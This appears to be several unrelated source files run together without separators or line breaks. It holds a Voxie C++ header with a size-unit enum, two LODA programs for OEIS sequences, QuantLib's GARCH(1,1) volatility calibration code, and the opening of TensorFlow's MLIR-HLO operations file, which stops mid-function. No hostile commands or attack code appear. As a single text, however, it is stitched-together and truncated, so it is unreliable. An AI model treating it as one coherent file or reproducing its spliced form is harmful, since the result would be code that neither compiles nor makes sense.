/* * Copyright (c) 2014-2022 The Voxie Authors * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef SIZEUNIT_H #define SIZEUNIT_H /** * @brief Hold the states of the SizeUnit. */ enum class SizeUnit { pikometer, nanometer, mikrometer, millimeter, centimeter, dezimeter, meter, voxel }; #endif // SIZEUNIT_H
; A170930: G(n,1) with n index G(n,i)=n*(G(n,i-1)+G(n,i-2))=(a^i-b^i)*d where d=sqrt(n*(n+4)); a=(n+d)/2; b=(n-d)/2 ; 0,21,63,252,945,3591,13608,51597,195615,741636,2811753,10660167,40415760,153227781,580930623,2202475212,8350217505,31658078151,120024886968,455048895357,1725221346975,6540810726996,24798096221913 lpb $0,1 sub $0,1 mov $1,$0 cal $1,238923 ; Number of (n+1) X (1+1) 0..3 arrays with no element greater than all horizontal neighbors or equal to all vertical neighbors. mov $0,0 mul $1,2 lpe div $1,24 mul $1,21
; A033940: a(n) = 10^n mod 7. ; 1,3,2,6,4,5,1,3,2,6,4,5,1,3,2,6,4,5,1,3,2,6,4,5,1,3,2,6,4,5,1,3,2,6,4,5,1,3,2,6,4,5,1,3,2,6,4,5,1,3,2,6,4,5,1,3,2,6,4,5,1,3,2,6,4,5,1,3,2,6,4,5,1,3,2,6,4,5,1,3,2,6,4,5,1,3,2,6,4,5,1,3,2,6,4,5,1,3,2,6 mov $1,3 lpb $0 sub $0,1 mul $1,3 mod $1,21 lpe mov $0,$1 div $0,3
/* -*- mode: c++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* Copyright (C) 2006 Joseph Wang Copyright (C) 2012 Liquidnet Holdings, Inc. This file is part of QuantLib, a free-software/open-source library for financial quantitative analysts and developers - http://quantlib.org/ QuantLib is free software: you can redistribute it and/or modify it under the terms of the QuantLib license. You should have received a copy of the license along with this program; if not, please email <quantlib-dev@lists.sf.net>. The license is also available online at <http://quantlib.org/license.shtml>. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the license for more details. */ #include <ql/models/volatility/garch.hpp> #include <ql/math/optimization/leastsquare.hpp> #include <ql/math/optimization/simplex.hpp> #include <ql/math/autocovariance.hpp> #include <boost/foreach.hpp> namespace QuantLib { namespace { const Real tol_level = 1.0e-8; class Garch11Constraint : public Constraint { private: class Impl : public Constraint::Impl { Real gammaLower_, gammaUpper_; public: Impl (Real gammaLower, Real gammaUpper) : gammaLower_(gammaLower), gammaUpper_(gammaUpper) {} bool test(const Array &x) const { QL_REQUIRE(x.size() >= 3, "size of parameters vector < 3"); return x[0] > 0 && x[1] >= 0 && x[2] >= 0 && x[1] + x[2] < gammaUpper_ && x[1] + x[2] >= gammaLower_; } }; public: Garch11Constraint(Real gammaLower, Real gammaUpper) : Constraint(boost::shared_ptr<Constraint::Impl>( new Garch11Constraint::Impl(gammaLower, gammaUpper))) {} }; class Garch11CostFunction : public CostFunction { public: explicit Garch11CostFunction (const std::vector<Volatility> &); virtual Real value(const Array& x) const; virtual Disposable<Array> values(const Array& x) const; virtual void gradient(Array& grad, const Array& x) const; virtual Real valueAndGradient(Array& grad, const Array& x) const; private: const std::vector<Volatility> &r2_; }; Garch11CostFunction::Garch11CostFunction( const std::vector<Volatility> &r2) : r2_(r2) {} Real Garch11CostFunction::value(const Array& x) const { Real retval(0.0); Real sigma2 = 0; Real u2 = 0; BOOST_FOREACH (Volatility r2, r2_) { sigma2 = x[0] + x[1] * u2 + x[2] * sigma2; u2 = r2; retval += std::log(sigma2) + u2 / sigma2; } return retval / (2.0*r2_.size()); } Disposable<Array> Garch11CostFunction::values(const Array& x) const { Array retval (r2_.size()); Real sigma2 = 0; Real u2 = 0; Size i = 0; BOOST_FOREACH (Volatility r2, r2_) { sigma2 = x[0] + x[1] * u2 + x[2] * sigma2; u2 = r2; retval[i++] = (std::log(sigma2) + u2 / sigma2)/(2.0*r2_.size()); } return retval; } void Garch11CostFunction::gradient(Array& grad, const Array& x) const { std::fill (grad.begin(), grad.end(), 0.0); Real sigma2 = 0; Real u2 = 0; Real sigma2prev = sigma2; Real u2prev = u2; Real norm = 2.0 * r2_.size(); BOOST_FOREACH (Volatility r2, r2_) { sigma2 = x[0] + x[1] * u2 + x[2] * sigma2; u2 = r2; Real w = (sigma2 - u2) / (sigma2*sigma2); grad[0] += w; grad[1] += u2prev * w; grad[2] += sigma2prev * w; u2prev = u2; sigma2prev = sigma2; } std::transform(grad.begin(), grad.end(), grad.begin(), std::bind2nd(std::divides<Real>(), norm)); } Real Garch11CostFunction::valueAndGradient(Array& grad, const Array& x) const { std::fill (grad.begin(), grad.end(), 0.0); Real retval(0.0); Real sigma2 = 0; Real u2 = 0; Real sigma2prev = sigma2; Real u2prev = u2; Real norm = 2.0 * r2_.size(); BOOST_FOREACH (Volatility r2, r2_) { sigma2 = x[0] + x[1] * u2 + x[2] * sigma2; u2 = r2; retval += std::log(sigma2) + u2 / sigma2; Real w = (sigma2 - u2) / (sigma2*sigma2); grad[0] += w; grad[1] += u2prev * w; grad[2] += sigma2prev * w; u2prev = u2; sigma2prev = sigma2; } std::transform(grad.begin(), grad.end(), grad.begin(), std::bind2nd(std::divides<Real>(), norm)); return retval / norm; } class FitAcfProblem : public LeastSquareProblem { public: FitAcfProblem(Real A2, const Array &acf, const std::vector<std::size_t> &idx); virtual Size size(); virtual void targetAndValue(const Array& x, Array& target, Array& fct2fit); virtual void targetValueAndGradient(const Array& x, Matrix& grad_fct2fit, Array& target, Array& fct2fit); private: Real A2_; Array acf_; std::vector<std::size_t> idx_; }; FitAcfProblem::FitAcfProblem(Real A2, const Array &acf, const std::vector<std::size_t> &idx) : A2_(A2), acf_(acf), idx_(idx) {} Size FitAcfProblem::size() { return idx_.size(); } void FitAcfProblem::targetAndValue(const Array& x, Array& target, Array& fct2fit) { Real A4 = acf_[0] + A2_*A2_; Real gamma = x[0]; Real beta = x[1]; target[0] = A2_*A2_/A4; fct2fit[0] = (1 - 3*gamma*gamma - 2*beta*beta + 4*beta*gamma) / (3*(1 - gamma*gamma)); target[1] = acf_[1] / A4; fct2fit[1] = gamma * (1 - fct2fit[0]) - beta; for (std::size_t i = 2; i < idx_.size(); ++i) { target[i] = acf_[idx_[i]] / A4; fct2fit[i] = std::pow(gamma, (int)idx_[i]-1)* fct2fit[1]; } } void FitAcfProblem::targetValueAndGradient(const Array& x, Matrix& grad_fct2fit, Array& target, Array& fct2fit) { Real A4 = acf_[0] + A2_*A2_; Real gamma = x[0]; Real beta = x[1]; target[0] = A2_*A2_/A4; Real w1 = (1 - 3*gamma*gamma - 2*beta*beta + 4*beta*gamma); Real w2 = (1 - gamma*gamma); fct2fit[0] = w1 / (3*w2); grad_fct2fit[0][0] = (2.0/3.0) * ((2*beta-3*gamma)*w2 + 2*w1*gamma) / (w2*w2); grad_fct2fit[0][1] = (4.0/3.0) * (gamma - beta) / w2; target[1] = acf_[1] / A4; fct2fit[1] = gamma * (1 - fct2fit[0]) - beta; grad_fct2fit[1][0] = (1 - fct2fit[0]) - gamma * grad_fct2fit[0][0]; grad_fct2fit[1][1] = -gamma * grad_fct2fit[0][1] - 1; for (std::size_t i = 2; i < idx_.size(); ++i) { target[i] = acf_[idx_[i]] / A4; w1 = std::pow(gamma, (int)idx_[i]-1); fct2fit[i] = w1 * fct2fit[1]; grad_fct2fit[i][0] = (idx_[i]-1) * (w1/gamma)*fct2fit[1] + w1*grad_fct2fit[1][0]; grad_fct2fit[i][1] = w1 * grad_fct2fit[1][1]; } } class FitAcfConstraint : public Constraint { private: class Impl : public Constraint::Impl { Real gammaLower_, gammaUpper_; public: Impl(Real gammaLower, Real gammaUpper) : gammaLower_(gammaLower), gammaUpper_(gammaUpper) {} bool test(const Array &x) const { QL_REQUIRE(x.size() >= 2, "size of parameters vector < 2"); return x[0] >= gammaLower_ && x[0] < gammaUpper_ && x[1] >= 0 && x[1] <= x[0]; } }; public: FitAcfConstraint(Real gammaLower, Real gammaUpper) : Constraint(boost::shared_ptr<Constraint::Impl>( new FitAcfConstraint::Impl(gammaLower, gammaUpper))) {} }; // Initial guess based on fitting ACF - initial guess for // fitting acf is a moment matching estimates for mean(r2), // acf(0), and acf(1). Real initialGuess1(const Array &acf, Real mean_r2, Real &alpha, Real &beta, Real &omega) { Real A21 = acf[1]; Real A4 = acf[0] + mean_r2*mean_r2; Real A = mean_r2*mean_r2/A4; // 1/sigma^2 Real B = A21 / A4; // rho(1) Real gammaLower = A <= 1./3. - tol_level ? std::sqrt((1 - 3*A)/(3 - 3*A)) + tol_level : tol_level; Garch11Constraint constraints(gammaLower, 1.0 - tol_level); Real gamma = gammaLower + (1 - gammaLower) * 0.5; beta = std::min(gamma, std::max(gamma * (1 - A) - B, 0.0)); alpha = gamma - beta; omega = mean_r2 * (1 - gamma); if (std::fabs(A-0.5) < QL_EPSILON) { gamma = std::max(gammaLower, -(1+4*B*B)/(4*B)); beta = std::min(gamma, std::max(gamma * (1 - A) - B, 0.0)); alpha = gamma - beta; omega = mean_r2 * (1 - gamma); } else { if (A > 1.0 - QL_EPSILON) { gamma = std::max(gammaLower, -(1+B*B)/(2*B)); beta = std::min(gamma, std::max(gamma * (1 - A) - B, 0.0)); alpha = gamma - beta; omega = mean_r2 * (1 - gamma); } else { Real D = (3*A-1)*(2*B*B+(1-A)*(2*A-1)); if (D >= 0) { Real d = std::sqrt(D); Real b = (B - d)/(2*A-1); Real g = 0; if (b >= tol_level && b <= 1.0 - tol_level) { g = (b + B) / (1 - A); } if (g < gammaLower) { b = (B + d)/(2*A-1); if (b >= tol_level && b <= 1.0 - tol_level) { g = (b + B) / (1 - A); } } if (g >= gammaLower) { gamma = g; beta = std::min(gamma, std::max(gamma * (1 - A) - B, 0.0)); alpha = gamma - beta; omega = mean_r2 * (1 - gamma); } } } } std::vector<std::size_t> idx; std::size_t nCov = acf.size() - 1; for (std::size_t i = 0; i <= nCov; ++i) { if (i < 2 || (i > 1 && acf[i] > 0 && acf[i-1] > 0 && acf[i-1] > acf[i])) { idx.push_back(i); } } Array x(2); x[0] = gamma; x[1] = beta; try { FitAcfConstraint c(gammaLower, 1.0 - tol_level); NonLinearLeastSquare nnls(c); nnls.setInitialValue(x); FitAcfProblem pr(mean_r2, acf, idx); x = nnls.perform(pr); Array guess(3); guess[0] = mean_r2 * (1 - x[0]); guess[1] = x[0] - x[1]; guess[2] = x[1]; if (constraints.test(guess)) { omega = guess[0]; alpha = guess[1]; beta = guess[2]; } } catch (const std::exception &) { // failed -- returning initial values } return gammaLower; } // Initial guess based on fitting ACF - initial guess for // fitting acf is an estimate of gamma = alpfa+beta based on // the property: acf(i+1) = gamma*acf(i) for i > 1. Real initialGuess2 (const Array &acf, Real mean_r2, Real &alpha, Real &beta, Real &omega) { Real A21 = acf[1]; Real A4 = acf[0] + mean_r2*mean_r2; Real A = mean_r2*mean_r2/A4; // 1/sigma^2 Real B = A21 / A4; // rho(1) Real gammaLower = A <= 1./3. - tol_level ? std::sqrt((1 - 3*A)/(3 - 3*A)) + tol_level : tol_level; Garch11Constraint constraints(gammaLower, 1.0 - tol_level); // ACF Real gamma = 0; std::size_t nn = 0; std::vector<std::size_t> idx; std::size_t nCov = acf.size() - 1; for (std::size_t i = 0; i <= nCov; ++i) { if (i < 2) idx.push_back(i); if (i > 1 && acf[i] > 0 && acf[i-1] > 0 && acf[i-1] > acf[i]) { gamma += acf[i]/acf[i-1]; nn++; idx.push_back(i); } } if (nn > 0) gamma /= nn; if (gamma < gammaLower) gamma = gammaLower; beta = std::min(gamma, std::max(gamma * (1 - A) - B, 0.0)); omega = mean_r2 * (1 - gamma); Array x(2); x[0] = gamma; x[1] = beta; try { FitAcfConstraint c(gammaLower, 1 - tol_level); NonLinearLeastSquare nnls(c); nnls.setInitialValue(x); FitAcfProblem pr(mean_r2, acf, idx); x = nnls.perform(pr); Array guess(3); guess[0] = mean_r2 * (1 - x[0]); guess[1] = x[0] - x[1]; guess[2] = x[1]; if (constraints.test(guess)) { omega = guess[0]; alpha = guess[1]; beta = guess[2]; } } catch (const std::exception &) { // failed -- returning initial values } return gammaLower; } } Garch11::time_series Garch11::calculate(const time_series& quoteSeries, Real alpha, Real beta, Real omega) { time_series retval; const_iterator cur = quoteSeries.cbegin(); Real u = cur->second; Real sigma2 = u*u; while (++cur != quoteSeries.end()) { sigma2 = omega + alpha * u * u + beta * sigma2; retval[cur->first] = std::sqrt(sigma2); u = cur->second; } sigma2 = omega + alpha * u * u + beta * sigma2; --cur; const_iterator prev = cur; retval[cur->first + (cur->first - (--prev)->first) ] = std::sqrt(sigma2); return retval; } boost::shared_ptr<Problem> Garch11::calibrate_r2( Mode mode, const std::vector<Volatility> &r2, Real mean_r2, Real &alpha, Real &beta, Real &omega) { EndCriteria endCriteria(10000, 500, tol_level, tol_level, tol_level); Simplex method(0.001); return calibrate_r2(mode, r2, mean_r2, method, endCriteria, alpha, beta, omega); } boost::shared_ptr<Problem> Garch11::calibrate_r2( Mode mode, const std::vector<Volatility> &r2, Real mean_r2, OptimizationMethod &method, const EndCriteria &endCriteria, Real &alpha, Real &beta, Real &omega) { Real dataSize = Real(r2.size()); alpha = 0.0; beta = 0.0; omega = 0.0; QL_REQUIRE (dataSize >= 4, "Data series is too short to fit GARCH model"); QL_REQUIRE (mean_r2 > 0, "Data series is constant"); omega = mean_r2 * dataSize / (dataSize - 1); // ACF Size maxLag = (Size)std::sqrt(dataSize); Array acf(maxLag+1); std::vector<Volatility> tmp(r2.size()); std::transform (r2.begin(), r2.end(), tmp.begin(), std::bind2nd(std::minus<Real>(), mean_r2)); autocovariances (tmp.begin(), tmp.end(), acf.begin(), maxLag); QL_REQUIRE (acf[0] > 0, "Data series is constant"); Garch11CostFunction cost (r2); // two initial guesses based on fitting ACF Real gammaLower = 0.0; Array opt1(3); Real fCost1 = QL_MAX_REAL; if (mode != GammaGuess) { gammaLower = initialGuess1(acf, mean_r2, opt1[1], opt1[2], opt1[0]); fCost1 = cost.value(opt1); } Array opt2(3); Real fCost2 = QL_MAX_REAL; if (mode != MomentMatchingGuess) { gammaLower = initialGuess2(acf, mean_r2, opt2[1], opt2[2], opt2[0]); fCost2 = cost.value(opt2); } Garch11Constraint constraints(gammaLower, 1.0 - tol_level); boost::shared_ptr<Problem> ret; if (mode != DoubleOptimization) { try { ret = calibrate_r2(r2, method, constraints, endCriteria, fCost1 <= fCost2 ? opt1 : opt2, alpha, beta, omega); } catch (const std::exception &) { if (fCost1 <= fCost2) { alpha = opt1[1]; beta = opt1[2]; omega = opt1[0]; } else { alpha = opt2[1]; beta = opt2[2]; omega = opt2[0]; } } } else { boost::shared_ptr<Problem> ret1, ret2; try { ret1 = calibrate_r2(r2, method, constraints, endCriteria, opt1, alpha, beta, omega); opt1[1] = alpha; opt1[2] = beta; opt1[0] = omega; if (constraints.test(opt1)) fCost1 = std::min(fCost1, cost.value(opt1)); } catch (const std::exception &) { fCost1 = QL_MAX_REAL; } try { ret2 = calibrate_r2(r2, method, constraints, endCriteria, opt2, alpha, beta, omega); opt2[1] = alpha; opt2[2] = beta; opt2[0] = omega; if (constraints.test(opt2)) fCost2 = std::min(fCost2, cost.value(opt2)); } catch (const std::exception &) { fCost2 = QL_MAX_REAL; } if (fCost1 <= fCost2) { alpha = opt1[1]; beta = opt1[2]; omega = opt1[0]; ret = ret1; } else { alpha = opt2[1]; beta = opt2[2]; omega = opt2[0]; ret = ret2; } } return ret; } boost::shared_ptr<Problem> Garch11::calibrate_r2( const std::vector<Volatility> &r2, OptimizationMethod &method, const EndCriteria &endCriteria, const Array &initGuess, Real &alpha, Real &beta, Real &omega) { Garch11Constraint constraints(0.0, 1.0 - tol_level); return calibrate_r2(r2, method, constraints, endCriteria, initGuess, alpha, beta, omega); } boost::shared_ptr<Problem> Garch11::calibrate_r2( const std::vector<Volatility> &r2, Real mean_r2, OptimizationMethod &method, const EndCriteria &endCriteria, const Array &initGuess, Real &alpha, Real &beta, Real &omega) { std::vector<Volatility> tmp(r2.size()); std::transform (r2.begin(), r2.end(), tmp.begin(), std::bind2nd(std::minus<Real>(), mean_r2)); return calibrate_r2(tmp, method, endCriteria, initGuess, alpha, beta, omega); } boost::shared_ptr<Problem> Garch11::calibrate_r2( const std::vector<Volatility> &r2, OptimizationMethod &method, Constraint &constraints, const EndCriteria &endCriteria, const Array &initGuess, Real &alpha, Real &beta, Real &omega) { Garch11CostFunction cost(r2); boost::shared_ptr<Problem> problem( new Problem(cost, constraints, initGuess)); // TODO: check return value from minimize() /* EndCriteria::Type ret = */ method.minimize(*problem, endCriteria); const Array &optimum = problem->currentValue(); alpha = optimum[1]; beta = optimum[2]; omega = optimum[0]; return problem; } boost::shared_ptr<Problem> Garch11::calibrate_r2( const std::vector<Volatility> &r2, Real mean_r2, OptimizationMethod &method, Constraint &constraints, const EndCriteria &endCriteria, const Array &initGuess, Real &alpha, Real &beta, Real &omega) { std::vector<Volatility> tmp(r2.size()); std::transform (r2.begin(), r2.end(), tmp.begin(), std::bind2nd(std::minus<Real>(), mean_r2)); return calibrate_r2(tmp, method, constraints, endCriteria, initGuess, alpha, beta, omega); } }
/* Copyright 2019 The TensorFlow Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ==============================================================================*/ // This file defines the operations used in the MHLO dialect. #include "mlir-hlo/Dialect/mhlo/IR/hlo_ops.h" #include <assert.h> #include <stddef.h> #include <stdint.h> #include <algorithm> #include <functional> #include "llvm/ADT/APFloat.h" #include "llvm/ADT/APInt.h" #include "llvm/ADT/ArrayRef.h" #include "llvm/ADT/DenseMap.h" #include "llvm/ADT/STLExtras.h" #include "llvm/ADT/SmallVector.h" #include "llvm/ADT/StringRef.h" #include "llvm/ADT/Twine.h" #include "llvm/ADT/iterator_range.h" #include "llvm/Support/Casting.h" #include "llvm/Support/FormatVariadic.h" #include "llvm/Support/MathExtras.h" #include "mlir-hlo/Dialect/mhlo/IR/hlo_ops.h.inc" #include "mlir-hlo/Dialect/mhlo/IR/hlo_ops_common.h" #include "mlir-hlo/utils/convert_op_folder.h" #include "mlir-hlo/utils/hlo_utils.h" #include "mlir/Dialect/Shape/IR/Shape.h" #include "mlir/Dialect/StandardOps/IR/Ops.h" #include "mlir/Dialect/Tensor/IR/Tensor.h" #include "mlir/IR/Attributes.h" #include "mlir/IR/Builders.h" #include "mlir/IR/BuiltinAttributes.h" #include "mlir/IR/BuiltinTypes.h" #include "mlir/IR/Dialect.h" #include "mlir/IR/Location.h" #include "mlir/IR/MLIRContext.h" #include "mlir/IR/Matchers.h" #include "mlir/IR/OpDefinition.h" #include "mlir/IR/OpImplementation.h" #include "mlir/IR/Operation.h" #include "mlir/IR/OperationSupport.h" #include "mlir/IR/PatternMatch.h" #include "mlir/IR/TypeUtilities.h" #include "mlir/IR/Types.h" #include "mlir/IR/Value.h" #include "mlir/Support/LLVM.h" #include "mlir/Support/LogicalResult.h" #include "mlir/Transforms/InliningUtils.h" namespace mlir { #include "hlo_patterns.cc.inc" } // namespace mlir namespace mlir { namespace mhlo { Operation* MhloDialect::materializeConstant(OpBuilder& builder, Attribute value, Type type, Location loc) { // HLO dialect constants only support ElementsAttr unlike standard dialect // constant which supports all attributes. if (value.isa<ElementsAttr>()) return builder.create<mhlo::ConstOp>(loc, type, value.cast<ElementsAttr>()); return nullptr; } template <typename T> static LogicalResult Verify(T op) { return success(); } namespace { //===----------------------------------------------------------------------===// // Utilities for the canonicalize patterns //===----------------------------------------------------------------------===// // Verifies that dimension attribute for the op correctly indexes in operand or // result shape. template <typename OpT> static LogicalResult VerifyDimAttr(OpT op) { int64_t rank = -1; if (auto ty = op.operand().getType().template dyn_cast<RankedTensorType>()) { rank = ty.getRank(); } else if (auto ty = op.getType().template dyn_cast<RankedTensorType>()) { rank = ty.getRank(); } else { return success(); } int64_t dim = op.dimension(); if (dim < 0 || dim >= rank) return op.emitOpError() << "requires dimension attribute in range [0, " << rank << "); found (" << dim << ")"; return success(); } // Returns 1D 64-bit dense elements attribute with the given values. DenseIntElementsAttr GetI64ElementsAttr(ArrayRef<int64_t> values, Builder* builder) { RankedTensorType ty = RankedTensorType::get( {static_cast<int64_t>(values.size())}, builder->getIntegerType(64)); return DenseIntElementsAttr::get(ty, values); } // Given the start indices and slice sizes for a dynamic-slice that can be // converted to a static slice, returns the limits for the static slice. DenseIntElementsAttr BuildSliceLimits(DenseIntElementsAttr start_indices, DenseIntElementsAttr slice_sizes, Builder* builder) { SmallVector<int64_t, 4> slice_limits; for (int64_t i = 0; i < slice_sizes.getNumElements(); ++i) { int64_t start_index = start_indices.getValue<IntegerAttr>(i).getInt(); int64_t slice_size = slice_sizes.getValue<IntegerAttr>(i).getInt(); slice_limits.push_back(start_index + slice_size); } return GetI64ElementsAttr(slice_limits, builder); } /// Replaces the given op with the contents of the given single-block region, /// using the operands of the block terminator to replace operation results. static void ReplaceOpWithRegion(PatternRewriter& rewriter, Operation* op, Region& region, ValueRange blockArgs = {}) { assert(llvm::hasSingleElement(region) && "expected single-block region"); Block* block = &region.front(); Operation* terminator = block->getTerminator(); ValueRange results = terminator->getOperands(); rewriter.mergeBlockBefore(block, op, blockArgs); rewriter.replaceOp(op, results); rewriter.eraseOp(terminator); } #include "mhlo_canonicalize.inc" // Common shape function helper for RngNormal and RngUniform. static LogicalResult rngInferReturnTypeComponents( MLIRContext* context, Optional<Location> location, ValueRange operands, DictionaryAttr attributes, RegionRange regions, SmallVectorImpl<ShapedTypeComponents>& inferredReturnShapes) { if (operands.size() != 3) return emitOptionalError(location, "expected 3 operands"); SmallVector<int64_t> shapeVector; Value shapeOperand = operands[2]; auto shapeOperandType = shapeOperand.getType().cast<ShapedType>(); Type elementType = getElementTypeOrSelf(operands[1]); // Match constant shape arguments. DenseIntElementsAttr shape; if (!matchPattern(shapeOperand, m_Constant(&shape))) { if (!shapeOperandType.hasRank()) { inferredReturnShapes.emplace_back(elementType); return success(); } if (shapeOperandType.getRank() != 1) return emitOptionalError(location, "shape operand required to be 1D"); int size = shapeOperandType.getDimSize(0); if (size == ShapedType::kDynamicSize) { inferredReturnShapes.emplace_back(elementType); return success(); } shapeVector.resize(size, ShapedType::kDynamicSize); inferredReturnShapes.emplace_back(shapeVector, elementType); return success(); } shapeVector.reserve(shape.size()); for (const APInt& fp : shape.getIntValues()) shapeVector.push_back(fp.getSExtValue()); inferredReturnShapes.emplace_back(shapeVector, elementType); return success(); } // Returns a new scalar integer value having type `type`. Here `type` must be // an integer or index type. Value MaybeCastTo(OpBuilder& b, Location loc, Value value, Type type) { if (type == value.getType()) return value; if (!type.isIndex() && !value.getType().isIndex()) { // in case of i32 -> i64 or vice versa Value casted = b.create<IndexCastOp>(loc, value, b.getIndexType()); return b.create<IndexCastOp>(loc, casted, type); } return b.create<IndexCastOp>(loc, value, type); } } // namespace //===----------------------------------------------------------------------===// // ReduceScatterOp //===----------------------------------------------------------------------===// static LogicalResult Verify(ReduceScatterOp op) { return mlir::hlo::VerifyReduceScatter( op, /*operand_types=*/{op.operand().getType()}, /*result_types=*/{op.getType()}, /*scatter_dimension=*/op.scatter_dimension()); } //===----------------------------------------------------------------------===// // ConstOp //===----------------------------------------------------------------------===// OpFoldResult ConstOp::fold(ArrayRef<Attribute> operands) { assert(operands.empty() && "constant has no operands"); // Return the held attribute value. return value(); } // Builds a constant op with the specified attribute `value`. void ConstOp::build(OpBuilder& builder, OperationState& result, Attribute value) { Type type; if (auto elemAttr = value.dyn_cast<ElementsAttr>()) { type = elemAttr.getType(); } else if (value.isa<BoolAttr>() || value.isa<FloatAttr>() || value.isa<IntegerAttr>()) { // All XLA types must be tensor types. In the build() method, we want to // provide more flexibility by allowing attributes of scalar types. But we // need to wrap it up with ElementsAttr to construct valid XLA constants. type = RankedTensorType::get(/*shape=*/{}, value.getType()); value = DenseElementsAttr::get(type.cast<TensorType>(), value); } // TODO: support other XLA specific types. assert(type && "unsupported attribute type for building mhlo.constant"); result.types.push_back(type); result.addAttribute("value", value); } //===----------------------------------------------------------------------===// // DotOp //===----------------------------------------------------------------------===// LogicalResult DotOp::reifyReturnTypeShapes( OpBuilder& builder, ValueRange operands, SmallVectorImpl<Value>& reifiedReturnShapes) { DotOp::Adaptor adaptor(operands); Value lhs = adaptor.lhs(); Value rhs = adaptor.rhs(); RankedTensorType lhs_type = lhs.getType().dyn_cast<RankedTensorType>(); RankedTensorType rhs_type = rhs.getType().dyn_cast<RankedTensorType>(); // Not support unranked type a.t.m. if (!lhs_type || !rhs_type) return failure(); if (lhs_type.getRank() > 2 || rhs_type.getRank() > 2) { // TODO: make sure whether DotOp supports batch dimension or not. The doc // (https://www.tensorflow.org/xla/operation_semantics#dot) does not tell. // We thus only support 1-D and 2-D Dot currently. return failure(); } Location loc = this->getLoc(); SmallVector<Value, 4> shape_values; Type shape_scalar_type = builder.getIndexType(); auto to_shape_scalar_type = [&](Value v) { return MaybeCastTo(builder, loc, v, shape_scalar_type); }; if (lhs_type.getRank() == 2) { shape_values.emplace_back( to_shape_scalar_type(builder.create<tensor::DimOp>(loc, lhs, 0))); } if (rhs_type.getRank() == 2) { shape_values.emplace_back( to_shape_scalar_type(builder.create<tensor::DimOp>(loc, rhs, 1))); } Value output_shape = builder.create<tensor::FromElementsOp>( loc, shape_scalar_type, shape_values); reifiedReturnShapes.push_back(output_shape); return success(); } //===----------------------------------------------------------------------===// // DotGeneralOp //===----------------------------------------------------------------------===// static LogicalResult Verify(DotGeneralOp op) { auto dot_dimension_numbers = op.dot_dimension_numbers(); int64_t lhs_batching_dimensions_size = llvm::size( dot_dimension_numbers.lhs_batching_dimensions().getValues<int64_t>()); int64_t rhs_batching_dimensions_size = llvm::size( dot_dimension_numbers.rhs_batching_dimensions().getValues<int64_t>()); if (lhs_batching_dimensions_size != rhs_batching_dimensions_size) { return op.emitError() << "lhs and rhs should have the same number of batching dimensions"; } int64_t lhs_contracting_dimensions_size = llvm::size( dot_dimension_numbers.lhs_contracting_dimensions().getValues<int64_t>()); int64_t rhs_contracting_dimensions_size = llvm::size( dot_dimension_numbers.rhs_contracting_dimensions().getValues<int64_t>()); if (lhs_contracting_dimensions_size != rhs_contracting_dimensions_size) { return op.emitError() << "lhs and rhs should have the same number of " "contracting dimensions"; } return success(); } LogicalResult DotGeneralOp::reifyReturnTypeShapes( OpBuilder& builder, ValueRange operands, SmallVectorImpl<Value>& reifiedReturnShapes) { DotOp::Adaptor adaptor(operands); Value lhs = adaptor.lhs(); Value rhs = adaptor.rhs(); RankedTensorType lhs_type = lhs.getType().dyn_cast<RankedTensorType>(); RankedTensorType rhs_type = rhs.getType().dyn_cast<RankedTensorType>(); // Not support unranked type a.t.m. if (!lhs_type || !rhs_type) return failure(); Location loc = this->getLoc(); SmallVector<Value, 4> shape_values; Type shape_scalar_type = builder.getIndexType(); auto to_shape_scalar_type = [&](Value v) { return MaybeCastTo(builder, loc, v, shape_scalar_type); }; DotDimensionNumbers dot_dimension_numbers = this->dot_dimension_numbers(); DenseIntElementsAttr rhs_contracting_dimensions = dot_dimension_numbers.rhs_contracting_dimensions() .cast<DenseIntElementsAttr>(); DenseIntElementsAttr lhs_contracting_dimensions = dot_dimension_numbers.lhs_contracting_dimensions() .cast<DenseIntElementsAttr>(); DenseIntElementsAttr rhs_batch_dimensions = dot_dimension_numbers.rhs_batching_dimensions() .cast<DenseIntElementsAttr>(); DenseIntElementsAttr lhs_batch_dimensions = dot_dimension_numbers.lhs_batching_dimensions() .cast<DenseIntElementsAttr>(); if (rhs_batch_dimensions.size() != lhs_batch_dimensions.size()) { return failure(); } // TODO: make sure that the order of batch-dimensions of lhs and rhs are the // same. A bad case is '[b0, b1, m, k] dot [b1, b0, k, n]', for which we do // not know the output batch-dim order. We use the order in // lhs_batch_dimensions currently. for (auto dim : lhs_batch_dimensions.getValues<int64_t>()) { Value value_dim = to_shape_scalar_type(builder.create<tensor::DimOp>(loc, lhs, dim)); shape_values.push_back(value_dim); } auto generate_mn_dim = [&](Value operand, RankedTensorType type, DenseIntElementsAttr contracting_dimensions, DenseIntElementsAttr batch_dimensions) { SmallVector<Value, 4> out_mn_dim; for (const auto& element : llvm::enumerate(type.getShape())) { int64_t idx = element.index(); auto it = std::find(contracting_dimensions.begin(), contracting_dimensions.end(), idx); if (it != contracting_dimensions.end()) { continue; } it = std::find(batch_dimensions.begin(), batch_dimensions.end(), idx); if (it != batch_dimensions.end()) { continue; } Value value_dim = to_shape_scalar_type( 